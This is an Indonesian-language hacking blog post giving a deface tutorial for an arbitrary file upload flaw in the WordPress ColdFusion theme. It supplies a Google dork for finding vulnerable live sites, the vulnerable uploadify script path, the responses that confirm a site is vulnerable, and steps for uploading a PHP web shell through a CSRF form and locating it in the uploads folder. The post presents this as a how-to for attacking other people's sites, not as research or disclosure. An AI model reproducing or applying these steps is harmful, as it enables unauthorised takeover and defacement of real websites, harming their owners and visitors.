exploit wordpress arbitary coldfusion file upload vulnerability

hay guys :v ketemu lagi neh sama cakil :v
kali ini cakil akan share tutorial deface arbitrary wp-ColdFusion file upload

cekidot guys :)
dork:inurl:/wp-content/themes/ColdFusion/
(kembangin)
exploit : /wp-content/themes/ColdFusion/includes/uploadify/upload_settings_image.php
1.masukan dork di google
2.cari target
3.masukan xploit nya
contoh
http://localhost/wp-content/themes/ColdFusion/includes/uploadify/upload_settings_image.php
4.vuln ?
{"status":"NOK", "ERR":"This file is incorect"}

(liat gambar)
5.buka csrf nya : sini gan
6.simpen dengan extensi html
7. vuln ?
{"status":"OK","imageID":"shellphp","imageName":"shell.php","html":"\n\t\n\t\t

(liat gambar gan)
8.akses file ?
ctrl-u gan
nanti akan terlihat seperti ini

http:\/\/localhost\/wp-content\/uploads\/settingsimages\/shell.php\

(liat gambar)
9.tinggal tebas deh kwkwkkw :v
gampang kan :v ok sekian dan terima kasih
saran or kritik monggo :)